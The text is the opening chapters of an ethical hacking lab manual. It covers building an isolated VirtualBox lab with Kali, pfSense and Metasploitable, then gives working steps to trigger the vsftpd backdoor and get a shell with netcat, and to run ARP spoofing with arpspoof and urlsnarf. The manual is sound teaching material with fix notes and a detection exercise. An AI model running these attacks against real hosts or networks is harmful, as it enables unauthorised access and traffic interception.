You are on page 1of 134

Daniel Graham

The Ethical Hacking Lab


Manual: A Networking
Approach
Contents

List of Tables 5

List of Figures 7

1 Preface 11
1.1 Research Assistants . . . . . . . . . . . . . . . . 11

2 Getting Setup 13
2.1 Introduction . . . . . . . . . . . . . . . . . . . . 13
2.2 Setting Up VirtualBox . . . . . . . . . . . . . . . 14
2.3 Setting Up pfSense . . . . . . . . . . . . . . . . . 15
2.4 Setting Up Metasploitable . . . . . . . . . . . . . 23
2.5 Setting Up Kali Linux . . . . . . . . . . . . . . . 24
2.6 Setting Up Windows Server . . . . . . . . . . . . 27
2.6.1 Getting the IP address of the metasploitable
server . . . . . . . . . . . . . . . . . . . . 28
2.7 Your First Hack . . . . . . . . . . . . . . . . . . 30

3 ARP (Address Resolution Protocol) Spoofing 33


3.1 Attack Senario . . . . . . . . . . . . . . . . . . . 33
3.2 Background . . . . . . . . . . . . . . . . . . . . . 33
3.3 IP-Addresses . . . . . . . . . . . . . . . . . . . . 34
3.4 Example of Hierarchy . . . . . . . . . . . . . . . 34
3.5 ARP Spoofing Illustration . . . . . . . . . . . . . 34
3.6 ARP Spoofing Attack . . . . . . . . . . . . . . . 35
3.7 Detecting an ARP Spoofing Attack. (Coding Chal-
lenge) . . . . . . . . . . . . . . . . . . . . . . . . 38

4 Introduction to Wireshark and TCP 41


4.1 Introduction . . . . . . . . . . . . . . . . . . . . 41

1
2 0 Contents

4.2 Context . . . . . . . . . . . . . . . . . . . . . . . 41
4.3 Network Setup . . . . . . . . . . . . . . . . . . . 42
4.4 Wireshark Installation . . . . . . . . . . . . . . . 43
4.5 Getting Started with Wireshark . . . . . . . . . 44
4.5.1 Select an Interface . . . . . . . . . . . . . 44
4.5.2 Getting Started . . . . . . . . . . . . . . . 44
4.5.3 Analyzing Network Trafffic . . . . . . . . 45
4.5.4 Introduction . . . . . . . . . . . . . . . . 47
4.6 (WIP) TCP Dump on PFSense . . . . . . . . . . 47
4.6.1 Overview . . . . . . . . . . . . . . . . . . 47
4.6.2 TCPDump Command . . . . . . . . . . . 48
4.6.3 Port 80 . . . . . . . . . . . . . . . . . . . 48
4.6.4 Capturing Traffic on Port 80 . . . . . . . 48
4.6.5 Alternate Configurations . . . . . . . . . . 52

5 TCP and Socket Programming Lab 55


5.1 Introduction: . . . . . . . . . . . . . . . . . . . . 55
5.1.1 Sockets and process communication . . . . 55
5.1.2 Reverse Shell . . . . . . . . . . . . . . . . 55
5.2 Setting Up Your Python Environment . . . . . . 56
5.3 A Reverse Shell Client . . . . . . . . . . . . . . . 56
5.4 Reverse Shell Server . . . . . . . . . . . . . . . . 57
5.5 Running the reverse shell . . . . . . . . . . . . . 59
5.6 Botnet . . . . . . . . . . . . . . . . . . . . . . . 59

6 Secure Sockets SSL and TLS 61


6.1 Diffie-Hellman Key Exchange. . . . . . . . . . . 61
6.2 How are keys derived from the Pre-Master Secret. 61
6.3 Writing a SSL Client . . . . . . . . . . . . . . . 63
6.4 Challenge . . . . . . . . . . . . . . . . . . . . . . 63

7 TLS Attack 65
7.1 Background . . . . . . . . . . . . . . . . . . . . . 65
7.2 Basic TLS Attack Ways of Obtaining the Key . . 65
7.2.1 Troubleshooting . . . . . . . . . . . . . . 67
7.2.2 Attack Logistics . . . . . . . . . . . . . . 69
7.3 MITM TLS Attack . . . . . . . . . . . . . . . . 70
7.3.1 MITMPROXY . . . . . . . . . . . . . . . 70
0.0 Contents 3

7.3.2 Mitmproxy Certificate . . . . . . . . . . . 73


7.3.3 Attack Logistics . . . . . . . . . . . . . . 74
7.3.4 Alternate Configurations . . . . . . . . . . 75

8 SMTP Enumeration and Email Spoofing 77


8.1 Background . . . . . . . . . . . . . . . . . . . . . 77
8.2 SMTP Enumeration . . . . . . . . . . . . . . . . 77
8.3 Email Spoofing . . . . . . . . . . . . . . . . . . . 79
8.4 Email Verification . . . . . . . . . . . . . . . . . 82

9 Creating Trojans and Other Malicous Files 83


9.0.1 Capturing image from the camera. . . . . 83
9.1 Creating Malicous Files for Windows . . . . . . . 83
9.2 Greating a malicious Android APK. . . . . . . . 83
9.3 EggShell IOS payload . . . . . . . . . . . . . . . 84

10 Armitage: Easily Identify and Exploit Vulnerabili-


ties 85
10.1 Background . . . . . . . . . . . . . . . . . . . . . 85
10.2 Vulnerability Scanning Using Armitage . . . . . 85
10.3 Exploiting a Host Using Armitage . . . . . . . . 89

11 Scanning Targets 93
11.1 Introduction . . . . . . . . . . . . . . . . . . . . 93
11.2 WhoIs . . . . . . . . . . . . . . . . . . . . . . . . 93
11.3 The Harvester . . . . . . . . . . . . . . . . . . . 94
11.4 Maltego: . . . . . . . . . . . . . . . . . . . . . . 94
11.5 List of comprised passwords. . . . . . . . . . . . 95

12 Moving through the network 97


12.1 Pivoting . . . . . . . . . . . . . . . . . . . . . . 97

13 Cross-Site Attacks 99
13.1 Background: Cross Site Scripting (XSS) Attacks 99
13.1.1 Stored Cross Site Scripting Attacks . . . . 99
13.1.2 Reflected Cross Site Scripting Attacks . . 100
13.2 XSS Beef Payload . . . . . . . . . . . . . . . . . 101
4 0 Contents

13.2.1 Automatically Scanning A Web-page for


Cross-Site Scripting Vulnerabilities . . . . 105
13.3 Cross Site Request Forgery (CSRF) Attacks . . . 105

14 SQL Injection 109


14.1 Background . . . . . . . . . . . . . . . . . . . . . 109
14.2 Your first manual SQL injection attack . . . . . 110
14.2.1 Background . . . . . . . . . . . . . . . . . 110
14.3 Using SQLMap . . . . . . . . . . . . . . . . . . . 112
14.4 Background. . . . . . . . . . . . . . . . . . . . . 112

15 Attacking A System Internally With Kernel Mod-


ules 115
15.1 Context . . . . . . . . . . . . . . . . . . . . . . . 115
15.2 Writing Your First LKM . . . . . . . . . . . . . 115
15.2.1 hello.c . . . . . . . . . . . . . . . . . . . . 116
15.2.2 Makefile . . . . . . . . . . . . . . . . . . . 117
15.3 Build and Run . . . . . . . . . . . . . . . . . . . 117
15.4 Video Bomb . . . . . . . . . . . . . . . . . . . . 119
15.4.1 Makefile . . . . . . . . . . . . . . . . . . . 119
15.4.2 vbomb.c . . . . . . . . . . . . . . . . . . . 120
15.4.3 Build and Run . . . . . . . . . . . . . . . 124
15.5 Keylogger . . . . . . . . . . . . . . . . . . . . . . 126
15.5.1 Makefile . . . . . . . . . . . . . . . . . . . 126
15.5.2 Keylogger Source Code . . . . . . . . . . . 126
15.5.3 Complete Keylogger Module Source Code 129
List of Tables

5
List of Figures

2.1 Diagram showing virtual machine connections . . 14


2.2 Screenshot of VirtualBox home screen . . . . . . 15
2.3 Choose these settings before downloading pfSense 16
2.4 The new button is designated by the blue symbol 16
2.5 This is how your virtual machine list should look 18
2.6 Click on the disk with a green plus icon . . . . . 18
2.7 Press Enter to accept . . . . . . . . . . . . . . . . 20
2.8 Press Enter to Install pfSense . . . . . . . . . . . 20
2.9 Select “No” for Manual Configuration . . . . . . . 21
2.10 Click on “Reboot” . . . . . . . . . . . . . . . . . 21
2.11 Rebooted pfSense Screen . . . . . . . . . . . . . . 22
2.12 The WAN and LAN names . . . . . . . . . . . . 22
2.13 Screenshot of configuring metasploitable NAT Net-
work . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.14 Screen shot of configuring kali linux Nat Network 26
2.15 Kali Linux Log-in Screen . . . . . . . . . . . . . . 26
2.16 Metasploitable Virtual Machine after it has been
started . . . . . . . . . . . . . . . . . . . . . . . . 27
2.17 The figure above shows the output of the netdis-
cover tool and the IP address of the metasploitable
machine . . . . . . . . . . . . . . . . . . . . . . . 29
2.18 The figure above shows terminal contain the IP-
address of the machine . . . . . . . . . . . . . . . 29
2.19 Screenshot of metaploitable in kali linux browser 30

3.1 Shows the first stage of an ARP spoofing attack


where hacker poisones the arp table on metasplo-
tiable machine . . . . . . . . . . . . . . . . . . . . 35

7
8 0 List of Figures

3.2 Shows the second stage of the an ARP spoofing


attack where the victim uses the corrupted table to
send packets . . . . . . . . . . . . . . . . . . . . . 36
3.3 Shows a screen shot of getting the default gateway 36
3.4 Shows setting the forwarding flag . . . . . . . . . 36
3.5 Arp spoofing the victim . . . . . . . . . . . . . . 37
3.6 Arp spoofing the router . . . . . . . . . . . . . . 37
3.7 Shows generating the web request on the metas-
ploitable machine . . . . . . . . . . . . . . . . . . 38
3.8 Intercepted Urls . . . . . . . . . . . . . . . . . . . 38

4.1 An annotated screen shot of the wireshark window 45


4.2 An annotated screen shot of the wireshark window 45
4.3 Filtering packets on Wireshark . . . . . . . . . . 46
4.4 TCP conversation filtering . . . . . . . . . . . . . 46
4.5 Navigating to follow TCP stream on Wireshark . 47
4.6 A screenshot of Follow TCP stream on Wireshark 48
4.7 Beginning screen for pfSense . . . . . . . . . . . . 49
4.8 Selecting Shell in pfSense . . . . . . . . . . . . . . 50
4.9 Sample tcdump Ouput . . . . . . . . . . . . . . . 51
4.10 Example TCP Port 80 Packet from visting
www.virginia.edu on Kali . . . . . . . . . . . . . 53

5.1 The figure above shows how the TCP client and
server communicate through sockets over the net-
work . . . . . . . . . . . . . . . . . . . . . . . . . 56

8.1 Output of ifconfig command . . . . . . . . . . . . 78


8.2 Metasploit search results . . . . . . . . . . . . . . 78
8.3 What your console should look like so far . . . . . 79
8.4 Results of SMTP Enum attack . . . . . . . . . . 79
8.5 Running the Python script . . . . . . . . . . . . . 82
8.6 Spoofed email results . . . . . . . . . . . . . . . . 82

10.1 Armitage Setup Screen . . . . . . . . . . . . . . . 86


10.2 Armitage Screen Starting Screen . . . . . . . . . 87
10.3 The figure shows an example of running the quick
scan . . . . . . . . . . . . . . . . . . . . . . . . . 87
0.0 List of Figures 9

10.4 The figure above shows how to execute the vftpd


vulnerability . . . . . . . . . . . . . . . . . . . . . 89
10.5 The figure above shows the description of the attack 90
10.6 The figure above shows how to get shell access . . 91

13.1 The figure above shows the log in page of DVWA 100
13.2 The figure above shows the start up terminal win-
dow associated with beef XSS window . . . . . . 102
13.3 Shows the Command and Control Section of the
google phishing attack . . . . . . . . . . . . . . . 103
13.4 The figure above shows the updated XSS URL on
the right . . . . . . . . . . . . . . . . . . . . . . . 104
13.5 Sample Fake Google Login Screen . . . . . . . . . 104
13.6 The figure above shows the credentials that have
been stolen using the phishing attack . . . . . . . 105
13.7 The figure above shows the change password form
and the new password in the URL . . . . . . . . . 106
13.8 Command to change the password of the user in
DVWAL . . . . . . . . . . . . . . . . . . . . . . . 107

14.1 The figure above shows the security level set to low 111
1
Preface

This book is designed as a step by step guide to help introduce you


to penetration testing. This book focuses on breaking into Linux
systems but the tools and techniques discussed in this book can
be extended to Windows Systems.

1.1 Research Assistants


Onyi Uche: Testing and Figures
Jeffrey Gerken
Jacobo Pacheco
Srikar Chittari

11
2
Getting Setup

“A journey of a thousand miles begins with a single


step.” - Lao Tzu

2.1 Introduction
Welcome to the first step in your hacking journey. In this section
we will setup your lab environment. In particular, we will setup
five virtual machines:
• A pfSense Virtual Machine: An open source router/firewall
to protect the virtual machines.
• A Kali Linux Virtual Machine: The machine that contains
the hacking tools discussed in this book.
• A Windows Server Virtual Machine: The machine used
to simulate hacking through a server.
• Two Metasploitable Virtual Machines: The two machines
you will hack. One will be behind the Windows Server and the
other will not.
Since it is both unethical and illegal to hack into machines that
you don’t own, in this chapter we will be setting up a virtual net-
working environment in which we can perform ethical hacks. The
figure below shows an overview of the networking environment. In
this chapter we will be setting up five virtual machines: a pfSense
machine, a Kali Linux machine, a Windows Server machine, and
two Metasploitable machines. We will also be setting up two net-
works: a main internal network which is isolated from the internet
by the pfSense firewall and another internal network which is iso-

13
14 2 Getting Setup

lated from the main network behind a windows server. The second
setup will be used to explore attacks in which hackers must first
get past one machine to attack the network as is the case with the
firewalls.

FIGURE 2.1: Diagram showing virtual machine connections

2.2 Setting Up VirtualBox


To set up our networking environment, we will first need to install
VirtualBox. VirtualBox is a virtual machine manager that will
allow us to configure both our virtual machines and the networks
that connect them. We have chosen VirtualBox as our preferred
virtual machine manager because it is free to use on Linux, Mac,
and Windows machines.
Step 1: Download Virtual Box from https://www.virtualbox
.org/wiki/Downloads. Make sure that you download the correct
2.3 Setting Up pfSense 15

installation files for your computer’s operating system and archi-


tecture.
Step 2: Go through the installation process. Note that this process
will vary depending on what type of computer you are using (Linux,
Mac, Windows, etc.)
Step 3: Once installation is complete, launch VirtualBox. You
should be greeted with a screen similar to the one shown below.

FIGURE 2.2: Screenshot of VirtualBox home screen

2.3 Setting Up pfSense


In this section we will setup pfSense, an open source router/firewall
that we will use to protect our virtual machines from outside at-
tacks.
Step 1: Download the pfSense source files from https://www.pf
sense.org/download/. Choose the AMD64 (64-bit) architecture,
16 2 Getting Setup

the CD image (ISO) installer, and the server location closest to


you before clicking the download button. The image below shows
the correct parameters to choose.

FIGURE 2.3: Choose these settings before downloading pfSense

Step 2: Unzip the downloaded pfSense iso.gz file. If you are on


a Unix-based machine, you can do this by running the command
“gunzip <pfSense iso.gz filename>” in your terminal.
Step 3: Launch VirtualBox and click the “New” button located
in the top options bar.

FIGURE 2.4: The new button is designated by the blue symbol

Step 4: You should be prompted to enter some informa-


tion about your new machine. Enter “pfSense” as the name,
“BSD” for the type, and “FreeBSD (64-bit)” for the ver-
2.3 Setting Up pfSense 17

sion. Once you have changed these three options, click continue.

Step 5: Set the amount of RAM to 1024 MB.


Step 6: When prompted for virtual hard drive options, select “Cre-
ate a virtual hard disk now.”
Step 7: Select “VDI (VirtualBox Disk Image)” for the hard disk
file type.
Step 8: Make your new virtual hard disk dynamically allocated.
Step 9: Set the size of the virtual disk to 5 GB.
Once these steps have been completed, you should see pfSense
listed as a virtual machine on the left hand side of your VirtualBox
GUI as seen below. We will now provide this newly created virtual
machine with the pfSense ISO file we extracted in step 2.
Step 10: Right click on pfSense in the list of virtual machines and
select the “Settings” option.
18 2 Getting Setup

FIGURE 2.5: This is how your virtual machine list should look

Step 11: Navigate to the “Storage” tab, then click on the disk
with a green plus icon shown below.

FIGURE 2.6: Click on the disk with a green plus icon

Step 12: On the screen that appears, click the “Add” button
located in the top left corner.
Step 13: A file browser should then open, navigate to the directory
where you extracted the pfSense ISO image and select it.
Step 14: Click the “Choose” button. You should see the ISO image
2.3 Setting Up pfSense 19

you just selected listed as a storage device for your virtual machine,
along with the .vdi hard disk image we previously created.
Setting Up Internal Networks
Your pfSense virtual machine should now be bootable (you can test
this by selecting the machine and clicking the start button). How-
ever, we still have to configure the main internal network before
we launch and configure pfSense
Step 1: Right click on pfSense in your list of virtual machines and
click on “Settings.”
Step 2: In the Network tab and under Adapter 1, make sure the
network adapter is enabled, and that it is attached to a Bridged
Adapter with the name as your wireless/ethernet card.
Step 3: Under Adapter 2, make sure it is enabled and attach it
to a Internal Network, which we will name “Internal LAN” (Local
Area Network). This will be the main internal network that will
connect pfSense to our virtual machines.
Step 4: Once you click “Okay,” this internal network should be
available to other created virtual machines.
Configuring pfSense
Now we are ready to launch pfSense and configure our virtual
router settings.
Step 1: Double click on pfSense in your list of virtual machines.
It should take some time to fully load.
Step 2: Once pfSense has loaded, you should be greeted with a
copyright and distrubtion notice screen. Hit enter to accept.
Step 3: On the next screen, hit enter again to install pfSense.
Step 4: You should see a progress bar extracting the necesarry
files for pfSense. Once it finishes you will be greeted with a prompt
asking if you would like to open a shell to make any changes to
the installation, select “No” and hit enter.
20 2 Getting Setup

FIGURE 2.7: Press Enter to accept

FIGURE 2.8: Press Enter to Install pfSense


2.3 Setting Up pfSense 21

FIGURE 2.9: Select “No” for Manual Configuration

Step 5: You will be met with another prompt asking if you would
like to reboot, select “Reboot” and hit enter.

FIGURE 2.10: Click on “Reboot”


22 2 Getting Setup

Step 6: Once you reboot into pfSense, you should see a screen
similar to the one pictured below.

FIGURE 2.11: Rebooted pfSense Screen

Step 7: Type “1” and hit enter to set up interfaces.


Step 8: Decline to set up VLANS by typing “n” and hitting enter.
Step 9: Enter “em0” as the WAN interface name.
Step 10: Enter “em1” as the LAN interface name.
Step 11: Confirm you have entered the WAN and LAN names
correctly as shown below, then type “y” and hit enter.

FIGURE 2.12: The WAN and LAN names

Step 12: You should be prompted to enter another option. Type


“2” and hit enter.
WAN Configuration
Step 1: Select interface 1 (em0 - WAN) and enter “y” when
prompted to configure via DHCP.
Step 2: Enter “192.168.1.1” for the new WAN IPv4 upstream
gateway address.
2.4 Setting Up Metasploitable 23

Step 3: Enter “n” when prompted to configure the IPv6 address


WAN interface via DHCP6.
Step 4: Press enter without typing anything to set the new WAN
IPv6 address to none.
Step 5: You should be prompted to enter another option. Type
“2” and hit enter.
Step 6: Select n to any other options including webConfiguration
protocol option
LAN Configuration
Step 1: Select interface 2 (em1 - LAN).
Step 2: Enter “192.168.100.1” for the new LAN IPv4 address.
Step 3: Enter “24” for the new LAN IPv4 subnet bit count.
Step 4: Press enter without typing anything to select none for the
new LAN IPv4 upstream gateway address.
Step 5: Press enter without typing anything to select none for the
new LAN IPv6 address.
Step 6: Select “y” to enable the DHCP server on LAN. Set
the start address to “192.168.100.100” and the end address to
“192.168.100.200”.
Step 7: Select n to any other options including webConfiguration
protocol option

2.4 Setting Up Metasploitable


In this section we will setup the Metasploitable VM.
Step 1: Download the the Metasploitable2 virtual machine from
Sourceforge https://sourceforge.net/projects/metasploita
ble/ Although there are new versions of Metasploitable available,
we will be using this version because it is easier to setup.
24 2 Getting Setup

Step 2: Unzip the downloaded Metasploitable zip file.


Step 3: Launch VirtualBox and click the “New” button (located
under a blue symbol).
Step 4: You should be prompted with the “Name and operating
system” page. Set your VM’s name to “Metasploitable,” type to
“Linux,” and version to “Ubuntu (64-bit),” then click “Continue.”
Step 5: On the “Memory Size” page, use the suggested amount
of memory.
Step 6: On the “Hard Drive” page, select the button labeled “Use
an existing virtual hard disk file,” then click the folder icon and
browse to your unzipped Metasploitable download. Select the file
with the extension “.vmdk” and click “Create.”
Step 7: Configure the Metasploitable machine network settings.
Right click on the Metasploitable machine from your list of ma-
chines on the left and select “Settings,” and navigate to the Net-
work tab. Under Adapter 1, check the “Enable Network Adapter”
box and set “Attached to” from the drop-down menu to the Inter-
nal Network we created previously named, “Internal LAN.”
Step 8: Open the Metasploitable virtual machine in VirtualBox

2.5 Setting Up Kali Linux


You will also need to install a Kali Linux virtual machine. Kali
Linux is a distribution of Linux that contains a collection of pen-
etration testing tools.
Step 1: You can download the Kali Linux virtual image from ht
tps://www.offensive-security.com/kali-linux-vm-vmware-
virtualbox-image-download/. You will need to download the
version suitable for your system.
Step 2. Add the Kali machine to VirtualBox by right-clicking the
downloaded OVA file and opening it using VirtualBox. You should
2.5 Setting Up Kali Linux 25

FIGURE 2.13: Screenshot of configuring metasploitable NAT


Network

be pormpted by a screen containing the preconfigured settings for


the VM. On the left hand side of the page you should see a folder
icon, click on it and select your downloaded OVA file.
Step 3: Configure the Kali Linux machine network settings. Right-
click on the Kali Linux machine from your list of machines on
the left→Settings →Network. On Adapter 1, check the “Enable
Network Adapter” box and set ’Attached to’ from the drop-down
menu to Nat Network. Leave name as NatNetwork and click “OK.”
Step 3: Open the Kali Linux virtual machine in the Oracle VM
Virtual Box Manager.
If you have a Kali Linux black screen problem, make sure PAE/NK
box is checked in Settings -> General -> Processors. If the problem
26 2 Getting Setup

FIGURE 2.14: Screen shot of configuring kali linux Nat Network

persists follow the tutorial at https://community.linuxmint.co


m/tutorial/view/ ‘
Step 4: Once your machine starts, you should see the Kali Linux
login screen below. Log-in using the username: kali and password:
kali

FIGURE 2.15: Kali Linux Log-in Screen


2.6 Setting Up Windows Server 27

Step 5: Now that your Kali Linux machine is up and running, you
will also need to launch your Metasploitable virtual machine so
that you can attack it. Select the Metasploitable Virtual Machine
from the list in the Oracle VM Virtual Box Manager.
Step 6: Wait for the terminal to finish loading. Your virtual ma-
chine should display the Metasploitable logo. ( IMPORTANT:
Your mouse pointer my disappear, this is because the VM has
captured it. Press the Ctrl+Alt keys together to get your mouse
back)

FIGURE 2.16: Metasploitable Virtual Machine after it has been


started

Step 7: Log-in using the username: msfadmin and password:


msfadmin

2.6 Setting Up Windows Server


Step 1: Download the Windows XP virtual image from http:
//www.cs.virginia.edu/~dgg6b/EthicalHackingResources/w
indowsXPova/.
28 2 Getting Setup

Step 2. Add the XP machine to VirtualBox by right-clicking the


downloaded OVA file and opening it using VirtualBox. You should
be prompted with a screen containing the preconfigured settings
for the VM. On the left hand side of the page you should see a
folder icon, click on it and select your downloaded OVA file.
Step 3: Configure the Windows XP machine network settings.
Right click on the Kali Linux machine from your list of machines
on the left→Settings →Network. On Adapter 1, check the “Enable
Network Adapter” box and set “Attached to” from the drop-down
menu to the Internal LAN network we created previously.
Great, you have now successfully setup your environment. Let’s
execute your first hack. Each hack in this manual will start with
a goal, which for this exercise is:
Goal: Gain access to the metasploitable server

2.6.1 Getting the IP address of the metasploitable server


The first step of most hacks is identifying the machine that we want to
connect to. Each machine is identified by a unique IP address. In this
section we will discover the IP address of the metasploitable server.
Step 1: Open the terminal on your Kali Linux machine by clicking
the icon in the top section of the menu.
Step 2: Type the following command netdiscover (NOTE: if your
terminal says the command cannot be found, run it as sudo). The
netdiscover tool searches multiple IP addresses on your network in
an attempt to discover which ones are currently being used. This
tool lets you see all of the machines that are currently connected
to the same Local Area Network (LAN).
Step 3: After a couple of minutes, netdiscover should have dis-
covered the Metasploitable server and its IP address. (IMPOR-
TANT: This IP will be different for everyone. You need
use the IP address obtained by doing the netdiscover scan.
Not the one from the picture. ) Great, now that you have the
IP Address you should be able to visit the web pages that server
is hosting.
2.6 Setting Up Windows Server 29

FIGURE 2.17: The figure above shows the output of the netdis-
cover tool and the IP address of the metasploitable machine

FIGURE 2.18: The figure above shows terminal contain the IP-
address of the machine

Step 4: If you are unable to discover the IP address of the Metas-


ploitable virtual machine using the steps above, you can log-in to
the machine using the username: msfadmin and password: ms-
fadmin.
Step 5: Once you have logged into the machine, type the following
command into the terminal:
ifconfig
You will see the IP address under an inet addr for the 'eth' (Ethernet)
portion of the output. Do not go with the 'lo' (Link loopback) inet
addr. For example under the 'eth' portion, you could have 'inet addr:
10.0.2.4...' In this case, 10.0.2.4 is the IP address that you want. Refer
to Figure 1.
30 2 Getting Setup

Step 6: Open the Kali Linux web browser


Step 7: Type the IP address that you obtained from netdiscover or
Metasploitable’s ifconfig output into the URL bar. my terminal is
10.0.2.4, then in my Kali Linux browser I would put the following:
http://10.0.2. You should see the page in Figure 2.19:

FIGURE 2.19: Screenshot of metaploitable in kali linux browser

2.7 Your First Hack


The way hackers gain access to machines is through vulnerabilities.
You can think of these vulnerabilities as open doors to your system
left behind by programming errors. The Metasploitable server has
a ftp vulnerability (described below). In this section of the lab you
will exploit this vulnerability to gain access to the server.
The Vulnerability that we are going to exploit in this lab is a “back door”.
malicious developer to an open source UNIX ftp server called vsftpd.
The back door allowed the attacker to gain access to the terminal on the
2.7 Your First Hack 31

vulnerable machine. The attack was activated when the attacker logged into th
username ending in :) and an invalid password. Once the attack was
activated, it opened a reverse shell on port 6200.
Reverse Shell: A reverse shell is a malicious program that con-
nects to an attacker’s machine, allowing the attacker to execute terminal
commands on the compromised machine. In a later lab we will write a
reverse shell.
Background A FTP (File Transfer Protocol) server is a program
that allows a user to upload and download files from a machine.
Step 1: Connect to the FTP server using telnet. Open the terminal
on your Kali Linux Machine and type the following commands.
Remember to add port number towards end: (Important: telnet is
an old technology and does no backspaces or deletes).
telnet [IPAddress of Your Metasploitable VM] 21
user Hacker:)
pass invalid
This is a part of a vulnerability that was placed in the open source
FTP server, by an unknown hacker. This hacker created this vul-
nerability by modifying the open source code for the vsFTP server,
to include a check for :) in the username field if a username in-
cluded a :) in the username, a backdoor was activated. So you
might be wondering, what is a backdoor? A backdoor is a pro-
gram, that an attacker places on a machine that gives the hacker
access to that machine having to log-in. In the step above, the
attacker is activating the backdoor. In the subsequent steps the
attacker is connecting to the backdoor running on port 6200 and
issuing commands to the terminal.
Step 2: Now that you have activated the back door, you can log-in
to get access to the terminal by connecting to the “backdoor” that
is running on 6200 using netcat. Enter the following commands to
gain access to the Metasploitable VM.
nc [IPAddress of venerable Machine] 6200
ls
32 2 Getting Setup

Fix: So how do we fix this vulnerability? Newer


versions of vs- ftpd ftp server, have identified
and patched these vulnerabilities. The best way to
secure this server is to update the vsftpd server.
sudo apt−get update vsftpd (the Metasploitable machine
is designed to be vulnerable so it not configured to
support updates.)
3
ARP (Address Resolution Protocol) Spoofing

3.1 Attack Senario


This attack can be executed by anyone who walks into a coffee shop
connects to the wifi. Once connected the hacker can pretend to be
router and view users web traffic. This done using an attacked
called ARP spoofing; which exploits a vulnerablity in the design
of the Address Resolution Protocol(ARP). The ARP protocol is
responsible for managing the mapping between IP-address and
MAC addresses.

3.2 Background
Your laptop contains a network interface card which allows it to
connect to your wifi router. This card has a unique address, called
a MAC (Media Access Control) address which uniquely identifies
your laptop. When the router has information that it needs to
send your laptop, it labels this packet of information with your
labtop’s unique mac address, which it then broadcasts as an RF
signal. This RF signal is received by all the machines which are
connected to your router. When your laptop receives a packet it
checks the packet’s MAC address to see if the packet was intended
for it.

33
34 3 ARP (Address Resolution Protocol) Spoofing

3.3 IP-Addresses
If MAC address are used addressing packets, why do we need IP-
addresses? Networks are arranged in regions and hierarchies, in a
similar fashion to how countries are split into states and citys. IP-
addresses identify your machine’s place in these hierarchies. This
means that the network can inspect parts of the IP-address to
determine where to send the packet. It is important to note that
even though MAC address addresss packets they are only used to
send packets at the lowest level of these hierarchies.
When your laptop joins the network by connecting to a router,
the router determines your machine’s position in the hierarchy
and assigns it an IP-address, which your laptop associates with its
MAC address. This association is stored in an arp-table.

3.4 Example of Hierarchy


It is important to know that when machines on the same level
in the hierarchy communicate, their MAC addresses are used to
decide the path that their packets take through the lowest level
of the network. For example the metaspotable machine, rhw kali
linux machine and the Windows server are all on the same level of
the network hierarchy.

3.5 ARP Spoofing Illustration


The figure below shows the two phases of an ARP spoofing attack.
During the first phase the attacker tricks the victim into believe
it is router. During the second phase the victim uses the incorrect
informamtion to address outgoing packets.
3.6 ARP Spoofing Attack 35

FIGURE 3.1: Shows the first stage of an ARP spoofing attack


where hacker poisones the arp table on metasplotiable machine

3.6 ARP Spoofing Attack


In this topology the PFsense machine is our default gateway to
the internet.
Step 1 The Kali linux run this command to get the IP-address
of the default gateway.
ip route|grep default
Step 2 Become root an enable IP-forwading on Kali by setting IP
forwarding flag
sudo -i
echo 1 > /proc/sys/net/ipv4/ip_forward
Enabling Ip-forward tells the Kali machine allows your machine to
36 3 ARP (Address Resolution Protocol) Spoofing

FIGURE 3.2: Shows the second stage of the an ARP spoofing


attack where the victim uses the corrupted table to send packets

FIGURE 3.3: Shows a screen shot of getting the default gateway

be able to act as router so that it can receive and forward packets


that were not orginally intended for it.

FIGURE 3.4: Shows setting the forwarding flag

Step 3A Ensure that apt-get is upto date by running:


apt-get update
3.6 ARP Spoofing Attack 37

Step 3B
Install the dsniff tool. Dsniff contains several usefull tools for lis-
tening to network traffic. One of these tools is webspy which send
URL sniffed from a client to your browser so you can see them
in real-time as the infected machine surfs the web. In this capter
we will focus on the arspoof tool which execute an ARP spoofing
attack.
apt-get install dsniff
Step 4 A We first need to trick victim into believing that we are
router.
arpspoof -i eth0 -t VICTIMIP ROUTERIP
Here the VICTIMIP is the IP-address of the metaspotable ma-
chine.

FIGURE 3.5: Arp spoofing the victim

Step 4 B
You need to also trick the router into believing that we are the
victim.
arpspoof -i eth0 -t ROUTERIP VICTIMIP

FIGURE 3.6: Arp spoofing the router

(Note: the spoofer needs to keep sending out the messages, because
the arp tables are periodically refereshed, you keep this terminal
open)
Step 5 On kali, in another terminal run:
urlsnarf -i eth0
38 3 ARP (Address Resolution Protocol) Spoofing

Step 6 A On the victim (metasploit) get a webpage by typing:


wget https://www.google.com

FIGURE 3.7: Shows generating the web request on the metas-


ploitable machine

If you’ve done everything right, now you will see the traffic on the
attacker.
Step 6 B On the Kali machine you should see the URL of inter-
cepted request

FIGURE 3.8: Intercepted Urls

Step 7 On the attacker: press ctrl+c on the arp terminal windows


shut down the attack and repair the arp tables

3.7 Detecting an ARP Spoofing Attack. (Coding Chal-


lenge)
Scapy is a popular python package that allows you to read and
create packets. Use scapy to design a simple program to detect
a possible arp attack. One design would be to run the program,
detect and store MAC<->IP mappings, and alert the user if there
are any changes. You are free to examine other implementations
on the internet, but if you do, reference them. You should submit
the following.
3.7 Detecting an ARP Spoofing Attack. (Coding Challenge) 39

Run your code on the Metasploitable machine; were you able suc-
cessfull detect the ARP spoofing attack?
4
Introduction to Wireshark and TCP

4.1 Introduction
Computers communicate over the network using packets. This
means that if we can intercept or spoof these packets we can learn
a lot about the user and their network traffic.
In this chapter you will get introduced to Wireshark. Wireshark is
a networking tool that allows you to capture all of the the outgoing
and incoming packets from your machine.
We’ll see how an attacker can (a) sniff or intercept packets on a
network and (b) intentionally mis-configure the client in order to
launch a man in the middle attack that will allow the attacker to
decrypt TLS packets.

4.2 Context
TLS is an encryption standard that is wildly popular for HTTP
communication over the Internet. TLS (Transport Security Layer)
is the new and preferred version of the now deprecated SSL (Secure
Sockets Layer). Many applications, primarily websites, can use
TLS to secure communications between their servers and clients.
This benefits both the service provider (server-side), and the end-
user (client-side). Attackers may intercept network packets by
“sniffing” for packets on network links between the two. However,
TLS encrypts all packets between the client and server such that
any third party attackers cannot make sense of the packets they

41
42 4 Introduction to Wireshark and TCP

intercept. This prevents eavesdropping, replay-attacks, and mas-


querading attacks. We will look at some of these attacks in latter
labs.

4.3 Network Setup


The Wireshark program is used to intercept network traffic. The
simplest configuration is to run Wireshark on the same device as
the client application (e.g., a web browser). Other setups where
Wireshark is effective include:
• Open (non-password secured) WiFi networks
• Intercepting Key in Interception Regular (e.g., WPA2) WiFi
networks
• Small “residential” networks where several devices are con-
nected to a commercial grade router / switch / WiFi gateway
• Any network where the target devices are all located on the
